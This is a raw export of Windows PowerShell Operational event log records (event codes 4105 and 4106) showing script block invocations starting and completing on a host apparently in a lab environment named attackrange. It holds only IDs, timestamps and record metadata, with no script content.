Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647102
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647101
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647100
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647099
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647098
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647097
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647116
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647115
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647114
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647113
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647112
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647111
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647110
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647109
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647108
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647107
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647126
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647125
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647124
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647123
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647122
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647121
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647120
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647119
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647118
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647117
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647136
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647135
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647134
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647133
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647132
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647131
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647130
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647129
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647128
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647127
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:29 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647146
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:29 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647145
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:29 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647144
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:29 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647143
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:29 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647142
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:29 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647141
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:29 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647140
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:29 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647139
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:29 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647138
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:29 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647137
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647156
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647155
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647154
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647153
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647152
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647151
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647150
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
